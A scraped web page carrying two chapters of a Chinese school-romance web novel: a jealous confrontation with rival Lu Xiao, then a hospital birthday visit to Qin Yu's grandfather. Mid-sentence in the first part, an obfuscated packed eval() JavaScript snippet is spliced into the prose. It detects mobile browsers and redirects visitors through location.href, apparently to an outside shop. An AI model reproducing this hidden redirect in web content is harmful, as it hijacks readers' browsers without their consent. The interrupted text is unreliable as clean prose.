秦玉收拾好东西,站起身,两人并肩朝着教室门口走去。沈月落的步伐刻意放慢了些,配合着秦玉的节奏,肩膀与肩膀之间隔着一拳左右的距离,却总能在走路时不经意地轻轻触碰,然后又飞快地错开,空气中弥漫着一种难以言喻的微妙氛围。走廊里很热闹,充斥着学生们的说笑声和脚步声,可两人之间却异常安静,只有彼此的呼吸声交织在一起,清晰可闻。 刚走出班门,一阵略显张扬的脚步声便从走廊另一头传来。沈月落的脚步下意识地顿了顿,眉头微不可察地蹙起,眼神里闪过一丝不易察觉的厌恶。秦玉也察觉到了异样,顺着他的目光看过去,只见陆霄正带着两个跟班,慢悠悠地朝着这边走来。 陆霄穿着一身名牌运动服,头发打理得一丝不苟,脸上带着几分漫不经心的傲慢。他是C班的学生,学习成绩不错,家里的条件与沈月落不相上下,两人从小便是死对头,见面就没什么好脸色。沈月落向来不待见他,不仅因为两人之间长久以来的竞争关系,更因为陆霄的私生活混乱,换过的男女朋友加起来有十几个,这种轻佻的态度,让沈月落打心底里觉得恶心。 陆霄的目光径直掠过沈月落,像是没看见他一样,眼神里的轻蔑毫不掩饰。他的视线最终落在秦玉身上,嘴角勾起一抹意味不明的笑,径直朝着秦玉走了过去,完全无视了旁边的沈月落。 “秦玉同学,”陆霄的声音带着几分刻意的温和,与他平日里的张扬截然不同,“久仰大名,我是C班的陆霄,想跟你交个朋友。” 说着,他伸出手,姿态显得十分熟稔,仿佛两人早已相识许久。走廊里的喧闹似乎在这一刻静止了,周围几个还没走远的学生纷纷停下脚步,好奇地看向这边,显然没想到陆霄会突然对一班的学霸兼学生会会长如此主动。 秦玉的身体微微一僵,下意识地往后退了半步,眼神里带着一丝疏离和警惕。他并不认识陆霄,只偶尔听班里同学提起过这个名字,知道他是沈月落的死对头,口碑并不算好。面对陌生人突如其来的示好,秦玉向来不擅长应对,更何况对方的眼神里带着一种让他不舒服的探究。 沈月落的脸色瞬间沉了下来,周身的气压骤然降低。他往前一步,不动声色地挡在了秦玉身前,将人护在自己身后,眼神凌厉地看向陆霄,像是一头被激怒的野兽,浑身都散发着危险的气息。他的双手不自觉地攥紧了拳头,指节泛白,显然已经到了忍耐的边缘。 “陆霄,”沈月落的声音冰冷刺骨,带着浓浓的警告意味,“离他远点。” 陆霄像是才刚注意到沈月落一样,挑了挑眉,脸上露出一丝嘲讽的笑:“沈月落,这好像跟你没什么关系吧?我是在跟秦玉同学交朋友,又不是跟你。” “他不想跟你交朋友。”沈月落的眼神更冷了,语气不容置喙,“马上滚。” “你说滚就滚?”陆霄的脸色也沉了下来,语气变得不善,“沈月落,别以为你在学校里横,我就怕你。再说了,秦玉同学愿不愿意,也不是你能替他做主的吧?” 说着,他再次看向秦玉,语气带着几分诱导:“秦玉同学,我是真心想跟你做朋友,我们可以一起讨论学习,或者周末一起出去玩,我认识很多有趣的人……” “我说了,离他远点!”沈月落的耐心彻底耗尽,往前逼近一步,两人之间的距离瞬间拉近,剑拔弩张的气息几乎要凝固空气。他从小就看陆霄不顺眼,如今对方竟然敢当着他的面,觊觎他放在心尖上的人,这让他无法容忍。尤其是想到陆霄那些不堪的过往,沈月落就觉得无比恶心,他绝不允许秦玉跟这种人有任何牵扯。 陆霄也不甘示弱,梗着脖子回视他:“沈月落,你别太过分了!今天我还就非要跟秦玉同学交朋友不可了!” “你试试。”沈月落的声音里带着一丝狠戾,拳头已经微微抬起,显然随时准备动手。周围的学生见状,纷纷往后退了退,生怕被波及,有人甚至已经开始窃窃私语,议论着这两个校霸级别的人物会不会真的打起来。 秦玉站在沈月落身后,能清晰地感受到他身上散发的怒气,还有微微颤抖的肩膀——那是极致愤怒的表现。他知道沈月落的脾气,虽然平日里对自己还算温和,但骨子里的桀骜和冲动,一旦被点燃,就很难控制。他也知道陆霄的名声,不想因为这件事闹大,更不想看到沈月落因为自己而打架,影响他的学业和名声。 “沈月落,别冲动。”秦玉连忙伸出手,拉住了沈月落的胳膊,声音带着一丝急促。他的指尖微凉,触碰到沈月落温热的皮肤时,后者的身体明显僵了一下,像是被这突如其来的触碰烫到一般。 沈月落转头看向秦玉,眼底的怒火还未完全褪去,但语气却缓和了些许:“秦同学,他不是什么好人,你别理他。” “我知道。”秦玉轻轻点头,目光认真地看着他,“我们先走吧,别在这里闹。” 陆霄看着两人之间的互动,眼神里闪过一丝诧异,随即又化为浓浓的嘲讽:“怎么?沈月落,你这是怕了?还是说,你跟秦玉同学的关系不一般啊?” 这句话像是一根导火索,瞬间点燃了沈月落刚刚压下去的怒火。他猛地转头看向陆霄,眼神凶狠,恨不得立刻冲上去给他一拳。但秦玉紧紧地拉住了他的胳膊,力道不算大,却带着一种让人无法拒绝的坚持。 “走了。”秦玉的声音加重了几分,拉着沈月落的胳膊,试图将他带走。 沈月落深吸一口气,努力压下心里的怒火。他知道秦玉是为了自己好,不想把事情闹大。但一想到陆霄那副轻佻的样子,还有他对秦玉的觊觎,沈月落就觉得心里像是被什么东西堵住了一样,憋得难受。他狠狠地瞪了陆霄一眼,那眼神里的警告意味十足,像是在说“你给我等着”。 随后,沈月落趁着秦玉拉着他的力道,顺势反手握住了秦玉的手。他的手掌宽大而温热,紧紧地包裹住秦玉微凉的手指,带着一种不容挣脱的力量。秦玉的身体瞬间一僵,脸颊像是被火烫了一样,瞬间泛起红晕,连耳根都热了起来。他下意识地想抽回手,却被沈月落握得更紧了,那温热的触感透过皮肤传来,像是电流一样,窜遍了全身,让他有些心神不宁。 沈月落没有注意到秦玉的异样,或者说,他此刻所有的注意力都放在了压制怒火和保护秦玉上。他拉着秦玉,转身就朝着楼梯口走去,脚步飞快,几乎是带着秦玉在移动。陆霄看着两人紧握的手,还有沈月落那副护犊子的样子,嘴角勾起一抹意味深长的笑,没有再追上去,只是对着两人的背影喊道:“秦玉同学,我还会来找你的!” 沈月落的脚步顿了顿,握着秦玉的手力道又加重了几分,却没有回头,只是拉着秦玉更快地走下楼梯,穿过喧闹的楼道,一路朝着教学楼后方的小角落走去。那里很少有人经过,平日里只有偶尔逃课的学生才会去,此刻正好成了避开人群的绝佳地方。 直到走进那个被茂密的爬山虎覆盖的小角落,沈月落才停下脚步。这里光线有些昏暗,阳光被高大的树木和藤蔓遮挡,只能透过缝隙洒下零星的光斑,落在两人身上,带着一种朦胧的氛围。周围很安静,只能听到远处传来的隐约的喧闹声,还有风吹过树叶的沙沙声。 沈月落松开了握着秦玉的手,但依旧站在他面前,两人之间的距离很近,近到能清晰地感受到彼此的呼吸。他的胸口还在微微起伏,显然还没从刚才的怒火中完全平复下来。黑色的短发因为快速走动而有些凌乱,额前的碎发垂落下来,遮住了一部分眼神,只露出紧抿的嘴唇,线条凌厉。 秦玉的脸颊依旧泛着红晕,刚才被沈月落紧握的手指还残留着对方的温度,那种温热的触感像是烙印一样,久久不散。他下意识地往后退了半步,想要拉开距离,却被身后的墙壁挡住了退路,只能被迫站在原地,抬头看着沈月落。 “秦同学,”沈月落的声音带着一丝不易察觉的沙哑,打破了小角落的安静。他的目光落在秦玉的脸上,眼神复杂,有未散的怒火,有浓浓的担忧,还有一丝连他自己都未曾察觉的委屈和不安。他的脸颊也泛起了淡淡的红晕,从耳根一直蔓延到脸颊,像是被什么东西烫到了一样。 秦玉看着他泛红的脸颊,还有那双带着复杂情绪的眼睛,心里泛起一丝异样的感觉。他轻轻点头,声音有些不自然:“怎么了?” “你以后,别搭理陆霄。”沈月落的语气带着一种近乎执拗的坚持,目光紧紧地锁住秦玉的眼睛,像是在等待一个肯定的答复。他的眉头微微蹙起,平日里的桀骜此刻变成了一种孩子气的固执,“他不是什么好人,你离他远点,别被他骗了。” 秦玉愣了一下,随即轻轻点头:“我知道,我不会跟他接触的。”他本来就对陆霄没什么好感,更何况刚才对方的态度也让他很不舒服,自然不会主动去结交。 得到秦玉的答复,沈月落的眉头微微舒展了一些,但心里的憋闷感却并没有完全散去。他看着秦玉干净的眉眼,还有那依旧泛红的脸颊,心里像是有什么东西在悄悄涌动。一想到陆霄刚才看秦玉的眼神,还有他那些轻佻的话语,沈月落就觉得一阵心烦意乱,一股强烈的占有欲在心底蔓延开来。 他往前又逼近一步,两人之间的距离更近了,几乎是鼻尖对着鼻尖。秦玉能清晰地闻到沈月落身上淡淡的洗发水清香,混合着阳光晒过的气息,让他的心跳不由自主地加快,脸颊的红晕也越来越深。他下意识地想要避开沈月落的目光,却被对方用手轻轻捏住了下巴,迫使他抬头看着自己。 沈月落的手指带着温热的触感,轻轻捏着秦玉的下巴,力道很轻,却带着一种不容拒绝的力量。他的眼神里带着一丝迷茫,还有一丝连他自己都无法理解的情绪,声音低沉而沙哑:“秦同学,你只能跟我一起,不能跟别人……尤其是陆霄那种人。” 秦玉的心跳瞬间漏了一拍,脸颊红得像是要滴血。他能感受到沈月落指尖的温度,还有他身上传来的强烈气息,那种近距离的接触让他有些不知所措,只能僵硬地站在原地,眼神躲闪着,不敢与沈月落对视。 沈月落看着他这副模样,心里的异样感更加强烈。他低下头,将脸埋进秦玉的脖颈处,鼻尖几乎要碰到对方的皮肤。秦玉身上淡淡的玫瑰味萦绕在鼻尖,干净而清爽,像是一剂良药,瞬间抚平了他心里的躁动和怒火。他的声音闷闷的,带着一丝不易察觉的委屈,还有浓浓的醋意,喷洒在秦玉的脖颈上,带来一阵酥麻的触感:“秦同学,我吃醋了。” “嗯?”秦玉愣了一下,没太明白他的意思。他能感觉到沈月落的脸颊贴在自己的脖颈上,温热的呼吸让他浑身都泛起了鸡皮疙瘩,心里更是乱成一团。他只觉得沈月落可能是因为刚才陆霄的挑衅而感到不满,或许是出于兄弟间的嫉妒,不想自己跟别人太过亲近。 沈月落没有解释,只是将头埋得更深了一些,像是在寻求一种安慰。他能清晰地感受到秦玉脖颈处细腻的皮肤,还有他平稳而有力的心跳声,那种真实的触感让他心里的不安渐渐消散。他就这样埋在秦玉的脖颈处,沉默了许久,直到自己的情绪完全平复下来,才缓缓抬起头。 他的脸颊依旧泛着红晕,眼神里带着一丝未散的羞涩,还有一丝坚定。他看着秦玉泛红的脸颊和躲闪的目光,声音恢复了些许平静,却依旧带着一丝执拗:“秦同学,答应我,以后不管他怎么找你,你都不要理他,好不好?” 秦玉看着他认真的眼神,心里泛起一丝暖意。他轻轻点头,声音细若蚊蚋:“好,我答应你,不跟他接触。” 得到秦玉肯定的答复,沈月落的脸上终于露出了一丝释然的笑容,像是放下了心头的一块大石。他松开捏着秦玉下巴的手,往后退了半步,拉开了些许距离,却依旧站在秦玉面前,挡住了他身后的墙壁,像是在无声地宣告着自己的保护。 两人之间再次陷入了沉默,只有彼此略显急促的呼吸声交织在一起。小角落里的光线依旧昏暗,斑驳的光影落在两人身上,给他们镀上了一层朦胧的滤镜。秦玉的脸颊依旧红得厉害,心里乱糟糟的,刚才沈月落埋在他脖颈处的触感,还有那句“我吃醋了”,一直在他脑海里盘旋,让他有些不知所措。他只能将这一切归结为沈月落的嫉妒心作祟,毕竟他们是关系很好的同桌,又是同住一个屋檐下的朋友,不想被别人打扰也是正常的。 沈月落也没有再说话,只是看着秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186757|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉泛红的脸颊,心里泛起一丝异样的满足感。他知道自己刚才的举动有些冲动,甚至有些逾矩,但他并不后悔。一想到能让秦玉答应不跟陆霄接触,他心里就觉得无比踏实。他抬手,轻轻拂去秦玉额前的一缕碎发,指尖不经意地碰到对方的皮肤,两人都像是被烫到一样,同时往后缩了一下,脸颊的红晕又深了几分。 “我们……去操场吧。”沈月落率先打破沉默,声音有些不自然,像是在掩饰着什么。 “嗯。”秦玉轻轻点头,连忙从沈月落身边绕开,朝着小角落外走去。他的脚步有些急促,像是在逃离什么,脸颊依旧红得厉害,连耳根都没有褪去热度。 沈月落看着他的背影,嘴角勾起一抹浅浅的笑意,眼底带着一丝连他自己都未曾察觉的温柔。他跟在秦玉身后,两人再次并肩走着,只是这一次,彼此之间的距离更近了些,肩膀偶尔碰到一起,也没有像之前那样飞快地分开,只是各自脸颊泛红,沉默地朝着操场的方向走去。 他们没有注意到,就在他们走出小角落不久,一个纤细的身影从旁边的树后走了出来,正是刚从办公室送完作业回来的章以青。她本来是想抄近路回教室,却没想到会撞见刚才那一幕,整个人都愣在了原地,眼神里充满了震惊。 章以青是秦玉在班里唯一的朋友,也是数学课代表。她平日里心思细腻,观察力极强,早就觉得沈月落对秦玉的态度有些不一样。沈月落虽然是全校公认的校霸,却从未在班里捣乱,反而每天都很安分,甚至会安安静静地听秦玉给他讲题,那种耐心和顺从,是别人从未见过的。 刚才她路过这里时,正好听到了沈月落和秦玉的对话。沈月落那句闷闷的“我吃醋了”,还有他紧紧握着秦玉的手,将人护在身后的样子,以及最后埋在秦玉脖颈处的亲密举动,都像电影片段一样在她脑海里回放。章以青的心脏砰砰直跳,一种难以置信的念头在她心里升起——沈月落喜欢秦玉。 这个想法让她有些措手不及,甚至有些慌乱。她一直以为沈月落和秦玉只是关系很好的同桌,最多是惺惺相惜的朋友,却从未想过会是这种超越友谊的情感。她站在原地,脑海里瞬间闪过无数片段:运动会报名时,沈月落毫不犹豫地跟着秦玉报了同一个项目;秦玉跑完长跑,体力不支倒在沈月落怀里时,沈月落脸上那掩饰不住的担忧和紧张;平日里沈月落对秦玉的特殊对待,那种小心翼翼的尊重和保护,还有他每次叫“秦同学”时,语气里不自觉的温柔…… 原来,这一切都不是她的错觉。章以青的心里掀起了惊涛骇浪,震惊之余,又有些恍然大悟。她终于明白,为什么沈月落会对秦玉如此特殊,为什么会在陆霄接近秦玉时反应如此激烈。那种强烈的占有欲和保护欲,根本不是普通的兄弟情能解释的。 章以青深吸一口气,努力平复着自己激动的心情。她看着沈月落和秦玉并肩离去的背影,两人的步伐默契,偶尔交换一个眼神,虽然都带着泛红的脸颊,却透着一种旁人无法插入的亲密。她的心里有些复杂,既为自己发现了这个秘密而感到震惊,又在纠结着要不要告诉秦玉。 秦玉的性格向来单纯,心思都放在学习和学生会的工作上,恐怕根本没有察觉到沈月落的心意,甚至还把沈月落的醋意当成了兄弟间的嫉妒。如果直接告诉秦玉,会不会让他感到困扰?会不会影响到他们之间的关系? 章以青犹豫了很久,最终还是决定暂时不告诉秦玉。她觉得,这种事情需要顺其自然,而且沈月落虽然是校霸,但平日里的表现确实让人放心,他对秦玉的好是真心实意的,并没有什么恶意。或许,她应该先找沈月落谈一谈,确认一下他的心意,也顺便提醒他,秦玉心思单纯,不要太过急躁,以免吓到他。 打定主意后,章以青才转身朝着教室的方向走去。一路上,她的脑海里依旧在不断地回放着刚才看到的画面,心里的震惊久久不能平息。她从来没有想过,自己身边会发生这样的事情,更没有想到,看似桀骜不驯的沈月落,竟然会对清冷内敛的秦玉有着这样深沉而炙热的情感。 走到教学楼门口时,章以青抬头看了一眼操场的方向,阳光正好,沈月落和秦玉的身影已经变得有些遥远,却依旧能看出两人并肩而行的亲密姿态。她轻轻叹了口气,心里想着,或许这就是命运的安排吧。不管怎样,她只希望两人可以好好的…… 回到教室后,章以青坐在自己的座位上,却怎么也无法静下心来。她的目光时不时地飘向秦玉空着的座位,脑海里全是刚才的画面和各种猜测。她开始在心里盘算着,什么时候找个合适的机会,跟沈月落好好谈一谈。她看得出来,沈月落对秦玉是真心的,那种小心翼翼的珍视,不是装出来的。虽然这份感情有些特殊,但只要是真心相待,就值得被尊重。 而此刻的操场上,沈月落和秦玉已经走到了篮球场边。阳光洒在空旷的球场上,带着温暖的气息。沈月落的黑色短发在阳光下泛着光泽,秦玉的短发也被晒得微微发烫。两人站在球场边,看着远处奔跑的学生,彼此都没有说话,却依旧能感受到那种微妙的氛围。 沈月落转头看向秦玉,对方的脸颊已经褪去了些许红晕,只剩下淡淡的粉色,在阳光下显得格外柔和。他的心里泛起一丝满足感,刚才的醋意已经完全消散,取而代之的是一种踏实的喜悦。他知道,秦玉答应了自己,就一定会做到,不会跟陆霄有任何牵扯。 秦玉也感觉到了沈月落的目光,他转头看向对方,正好对上沈月落带着笑意的眼睛。那眼神干净而明亮,带着一丝温柔,让他的心跳又快了几分,脸颊再次泛起红晕,连忙转过头,看向球场中央,声音有些不自然:“要不要开始?” “好。”沈月落的声音带着笑意,眼底的温柔更浓了几分。 虽然两人最终没有在球场上展开激烈的对抗,但此刻站在阳光下的他们,彼此之间的距离,已经比以往任何时候都要近了。那份隐藏在心底的朦胧情感,如同藤蔓一般,在不知不觉中悄然生长,缠绕着彼此的心跳,在岁月里留下深深浅浅的痕迹。而这一切,都被章以青看在眼里,记在心里,成为了这个午后最隐秘的秘密。 教学楼的走廊里,章以青还在为刚才的发现而心绪不宁。她拿出手机,犹豫着要不要给沈月落发个消息,约他放学后聊一聊。手指在屏幕上反复敲打,又一次次删除,最终还是放下了手机。她觉得,有些事情,还是当面说比较好。毕竟,这关乎到两个朋友的情感和未来,容不得半点马虎。 阳光渐渐西斜,将操场的影子拉得很长。沈月落和秦玉依旧站在球场边,偶尔说上几句话,声音不大,却带着一种旁人无法理解的默契。他们不知道,一场关于他们情感的讨论,即将在不久后展开;他们更不知道,这份朦胧的暧昧,将会在未来的日子里,经历怎样的考验和成长。他们只知道,此刻站在彼此身边,心里是踏实而温暖的,这种感觉,是前所未有的,也是无法替代的。 33. 外公的生日 十一月中旬的风裹着刺骨的凉意,刮过教学楼外的梧桐树,枯黄的叶片簌簌坠落,被来往的脚步碾出细碎的声响。周二下午的阳光依旧带着几分慵懒,透过玻璃窗斜斜洒进走廊,在地板上投下长长的光影,暖得有限,却也为这萧瑟的初冬添了一丝微弱的暖意。 下课铃声刚落,教室里还残留着笔尖划过纸张的余韵,沈月落已经收拾好桌上的东西,起身走到秦玉的座位旁。他的黑色短发在阳光下泛着柔和的光泽,比刚染回黑色时更显服帖,衬得那张轮廓分明的脸少了几分往日的桀骜,多了几分少年人的干净利落。 “秦同学,”沈月落的声音不高,却带着一种不容置疑的笃定,打破了教室末尾的安静,“下午没课,去看外公吧?” 秦玉刚整理好桌上的练习册,闻言动作一顿,抬起头看向他。少年的睫毛很长,在眼睑下投下一片浅浅的阴影,干净的眉眼间褪去了九月时的疏离,取而代之的是一丝显而易见的柔和。他手头确实还有几道未解开的数学难题,原本打算利用下午的空闲时间攻克,可对上沈月落那双带着期待的眼睛,拒绝的话到了嘴边又咽了回去。 “嗯。”片刻后,秦玉轻轻点头,声音清冽如泉水,嘴角还牵起了一抹极淡的笑意,“好。” 得到肯定的答复,沈月落的眼底瞬间亮了几分,像是得到了心仪礼物的少年。他没有催促,只是站在一旁,安静地等着秦玉将练习册放进抽屉,指尖偶尔拂过秦玉的桌沿,动作轻柔得生怕打扰到对方。教室里的同学陆续离开,三三两两地讨论着周末的计划,或是涌向食堂的方向,没人过多留意这对特殊的同桌——毕竟,自从沈月落转到一班成为秦玉的同桌,两人形影不离的样子,早已不算什么新鲜事。 秦玉收拾好东西站起身,两人并肩朝着教室门口走去。沈月落的步伐刻意放慢了些,完美配合着秦玉的节奏,肩膀与肩膀之间隔着一拳左右的距离,却总能在走路时不经意地轻轻触碰,然后又自然地贴合片刻,空气中弥漫着一种难以言喻的默契。走廊里很热闹,充斥着学生们的说笑声和脚步声,可两人之间的氛围却格外融洽,偶尔低声交谈几句,内容无非是关于外公的近况,或是沈月落又在学习上遇到的小难题,秦玉耐心回应着,脸上的笑容始终未散。 走出教学楼,寒风迎面吹来,秦玉下意识地缩了缩脖子。沈月落立刻停下脚步,解开自己身上的厚外套,不由分说地披在秦玉肩上,指尖触碰到秦玉微凉的肩头时,还轻轻捏了捏:“早上让你多穿点,偏不听,现在知道冷了?” 外套上还残留着沈月落的体温,带着淡淡的洗发水清香,将寒风隔绝在外。秦玉低头看了看身上明显大了一号的外套,脸颊泛起一丝浅浅的红晕,却没有脱下,只是小声说道:“谢谢。” “跟我客气什么。”沈月落笑了笑,自然地牵起秦玉的手,他的手掌宽大而温热,紧紧包裹住秦玉微凉的手指,“走吧,东西都在车里了。” 秦玉的手指微微蜷缩了一下,没有挣脱,任由沈月落牵着往前走。这种牵手的动作,从最初的僵硬抗拒,到如今的自然接受,不过短短一个多月的时间,却像是已经做了无数次般默契。他能清晰地感受到沈月落掌心的温度,顺着指尖蔓延至全身,驱散了初冬的寒意。 校门口停着一辆黑色轿车,司机看到两人走来,立刻下车打开后座车门。沈月落先让秦玉上车,自己才随后坐进去,关上车门时还不忘叮嘱司机:“张叔,开慢点,别着凉了。” “好的,月落。”司机应了一声,发动车子平稳地驶离学校。 车厢里很暖和,秦玉转头看向沈月落,发现他正低头整理着脚边的几个大袋子,里面鼓鼓囊囊的,隐约能看到营养品的包装和一个精致的蛋糕盒。“这些都是你买的?”秦玉轻声问道。 “嗯。”沈月落抬眼看他,眼底带着笑意,“上次你无意间提起外公生日是今天,我记着呢。特意买了他爱吃的软桃,还有进口的蛋白粉,医生说对身体恢复有好处,另外还订了个蛋糕,咱们给外公好好过个生日。” 秦玉的心里泛起一阵温热的涟漪。他自己都差点因为最近的考试和学生会工作忙忘了外公的生日,没想到沈月落却记得如此清楚,连外公爱吃的东西都一一备齐。“谢谢你,沈同学。”他的声音里带着真诚的谢意,脸上的笑容愈发柔和。 “说了不用跟我客气。”沈月落伸手揉了揉秦玉的头发,动作自然又亲昵,“你外公就是我外公,理应好好准备。” 秦玉没有躲开他的触碰,只是微微偏了偏头,脸颊的红晕又深了几分。车厢里陷入了短暂的安静,只有车子行驶的平稳声响,窗外的风景飞速倒退,枯黄的树木和萧瑟的街道都笼罩在初冬的冷意里,可车厢内却温暖而平和。 大约半小时后,车子缓缓停在了市第一人民医院门口。沈月落先下车,绕到另一侧打开车门,伸手扶了秦玉一把:“小心点,地上有点滑。” 秦玉顺着他的力道下车,刚想把外套还给沈月落,就被他按住了肩膀:“穿着吧,医院里空调足,但走廊风大。” 两人并肩走进医院大厅,空气中弥漫着消毒水混合着中药的味道,来往的人群行色匆匆,大多是陪护病人的家属,倒也添了几分烟火气。沈月落弯腰拎起脚边的袋子,秦玉见状伸手想接:“我帮你提一个吧,看着挺重的。” “不用,我来就行。”沈月落轻轻避开他的手,将袋子往自己怀里拢了拢,“你手凉,别冻着,也别累着。”他的语气带着不容拒绝的坚持,却又满是温柔,秦玉只好收回手,跟在他身边一起往电梯口走去。 等电梯的人不算多,两人很快就上了电梯。秦玉按下“7”的按键,电梯缓缓上升,狭小的空间里只有运行的轻微声响。沈月落站在秦玉身边,肩膀偶尔碰到一起,他能闻到秦玉身上淡淡的皂角味,干净又清爽,让人心安。 “叮咚——七层到了。”机械的提示音响起,电梯门缓缓打开。 两人一前一后地走向302病房,走廊里很安静,只有偶尔传来的护士走动的脚步声和病房里隐约的说话声。秦玉的脚步不自觉地加快了些,眼底带着几分期待和牵挂,他昨天因为学生会的事没过来,心里一直惦记着外公。 走到病房门口,秦玉轻轻推开房门。这是一间独立病房,白色的墙壁干净整洁,几扇落地窗让房间显得格外明亮。病床上,秦玉的外公陆梓枫正半靠在床头,身后垫着厚厚的被子,脸色比一个多月前好了不少,虽然依旧带着病后的憔悴,但精神状态明显好了很多。金牌护工李阿姨正坐在一旁,给老人削着苹果。 “外公。”秦玉走到病床边,声音里带着显而易见的欣喜。 陆梓枫看到推门进来的两人,疲惫的脸上立刻绽开笑容,眼底满是欣慰:“小玉儿,月落,你们来了。” “外公,今天感觉怎么样?”秦玉在病床边坐下,轻轻握住陆梓枫的手,他的动作温柔,眼神里满是关切。 “好多了,医生说恢复得不错。”陆梓枫拍了拍秦玉的手,目光落在沈月落手里的袋子上,笑着说道,“月落这孩子,又带这么多东西来,太破费了。” 沈月落已经把袋子放在了床头柜旁,闻言笑着走上前:“外公,今天是您的生日,这些都是应该的。祝您生日快乐,早日康复。” “好好好,有心了。”陆梓枫的笑容更加灿烂,看向沈月落的眼神愈发温和,“快坐,别站着。” 李阿姨也笑着起身,接过沈月落手里的蛋糕盒:“月落有心了,老先生今天一大早就念叨着你们呢,说你们肯定会来。”她是沈月落特意请来照顾陆梓枫的金牌护工,手脚麻利又细心,沈月落一直让她不用客气,直接叫自己名字,不用喊“少爷”。 沈月落拉过一把椅子坐在病床边,秦玉则在一旁帮外公整理了一下身后的被子,动作熟练又轻柔。“外公,我给您带了您爱吃的软桃,还有蛋白粉,医生说对身体恢复有好处。”沈月落打开其中一个袋子,拿出包装精致的营养品,一一放在床头柜上。 陆梓枫看着这些东西,心里满是暖意:“你们能来,外公就很高兴了,还这么破费。” “外公,生日怎么能不破费。”沈月落笑着打开蛋糕盒,一个双层的水果蛋糕立刻展现在眼前,蛋糕上铺满了新鲜的草莓、蓝莓和车厘子,中间用奶油做了一个大大的“寿”字,精致又好看。“我特意订的低糖的,您可以放心吃。” 陆梓枫的眼中泛起泪光,看着眼前的两个少年,心里满是欣慰。自从女儿女婿意外去世后,他就一直带着秦玉相依为命,秦玉从小就懂事,却也因为家庭变故变得沉默寡言,尤其是自己生病后,他更是背负了太多压力。直到沈月落出现,他才看到秦玉脸上重新有了笑容,整个人也开朗了许多。 “快,插蜡烛。”李阿姨笑着递过蜡烛和打火机。 沈月落拿过蜡烛,小心翼翼地插在蛋糕上,一共插了六根,代表着陆梓枫六十六岁的寿辰。他点燃蜡烛,暖黄色的烛光在病房里亮起,映得每个人的脸上都带着柔和的光晕。 “外公,许愿吧。”秦玉轻声说道,眼底带着笑意。 陆梓枫双手合十,闭上眼睛默默许愿,脸上带着虔诚的神色。沈月落和秦玉站在病床边,看着老人的模样,嘴角都挂着温柔的笑容。片刻后,陆梓枫轻轻吹灭了蜡烛,病房里响起了李阿姨的鼓掌声。 “外公,许了什么愿?”秦玉好奇地问道。 “愿望说出来就不灵了。”陆梓枫笑着说道,眼神在两个少年身上流转,“不过外公的愿望很简单,就是希望小玉儿能一直开开心心的,身体健健康康的。” 沈月落看着陆梓枫,认真地说道:“外公,您放心,我会照顾好秦同学的。” 秦玉的脸颊微微泛红,低头切了一块最大的蛋糕递给陆梓枫:“外公,您先吃。” “好,好。”陆梓枫接过蛋糕,尝了一口,笑着说道,“真好吃,月落选的蛋糕就是合我胃口。” 沈月落也切了一块蛋糕递给秦玉,又给李阿姨递了一块,自己才拿起一块吃了起来。蛋糕的奶油细腻不腻口,水果新鲜多汁,甜香在口腔里弥漫开来。 四人一边吃着蛋糕,一边聊着天。陆梓枫问起了秦玉的学习和学生会的工作,秦玉一一耐心回答,语气比以前开朗了不少,偶尔还会主动说起学校里的趣事。沈月落坐在一旁,时不时补充几句,大多是关于秦玉的优点,比如秦玉帮他辅导学习,他的成绩进步了多少,还有秦玉作为学生会会长,组织活动时有多认真负责。 陆梓枫听得津津有味,看着秦玉的眼神里满是骄傲。他转头看向沈月落,笑着说道:“月落,以后还要麻烦你多照顾我们家小玉儿,他性子闷,有什么事也不爱说,你多担待点。” “外公,您放心,我会的。”沈月落说得认真,目光不自觉地看向秦玉,眼底满是温柔,“秦同学很厉害,很多时候都是他照顾我。” 秦玉听到这话,脸颊又红了几分,轻轻推了推沈月落的胳膊:“别这么说。” 沈月落笑了笑,没有反驳,只是给秦玉递了一块草莓:“吃吧,很甜。” 秦玉接过草莓,放进嘴里,甜甜的味道在舌尖化开,心里也跟着甜丝丝的。他偷偷看了一眼沈月落,发现对方也在看着他,两人的目光在空中相遇,又不约而同地移开,嘴角都带着浅浅的笑意。 李阿姨看着三人温馨的互动,脸上也满是欣慰的笑容。她照顾陆梓枫这么久,看着秦玉从一开始的清冷寡言,到现在脸上有了笑容,身边还有沈月落这样真心对他好的人,心里也为这祖孙俩高兴。 不知不觉,天色渐渐暗了下来,窗外的寒风呼啸着,吹得窗户呜呜作响。陆梓枫有些累了,打了个哈欠,眼神也变得有些疲惫。“外公,您累了,先休息吧。”秦玉立刻说道,帮陆梓枫调整了一下姿势,让他躺得更舒服些。 “好,好。”陆梓枫点了点头,看着沈月落和秦玉,“你们也别熬太晚,累了就回去休息,这里有李阿姨照顾我,放心吧。” “我们知道,外公。”沈月落帮陆梓枫掖了掖被角,“您好好休息,我们在这儿陪着您。” 陆梓枫闭上眼睛,很快就进入了梦乡。李阿姨看着两人,笑着说道:“月落,小玉儿,你们也去旁边的陪护床休息一会儿吧,这里有我呢,老先生要是有什么事,我叫你们。” “麻烦李阿姨了。”秦玉轻声说道。 “不麻烦,这都是我应该做的。”李阿姨笑着说道,“你们快去休息吧,看你们也累了。” 沈月落和秦玉相视一笑,点了点头,走到旁边的陪护床边。陪护床很窄,只能容下一个人,沈月落看着秦玉,笑着说道:“秦同学,你先睡,我守着。” “不用,一起吧。”秦玉轻轻说道,脸颊带着淡淡的红晕,“挤一挤还是能睡的。” 沈月落的眼底闪过一丝笑意,没有拒绝,只是点了点头:“好。” 两人小心翼翼地躺在陪护床上,床很窄,彼此的身体紧紧贴在一起,能清晰地感受到对方的体温和呼吸。沈月落轻轻将秦玉揽进怀里,让他靠在自己的胸口,声音低沉而温柔:“睡吧,有我在。” 秦玉的身体微微僵硬了一下,随即放松下来,乖乖地靠在沈月落的怀里。他能听到沈月落平稳有力的心跳声,感受到他身上传来的温暖,心里格外踏实。连日来的疲惫涌上心头,加上病房里安静的氛围,他很快就进入了梦乡。 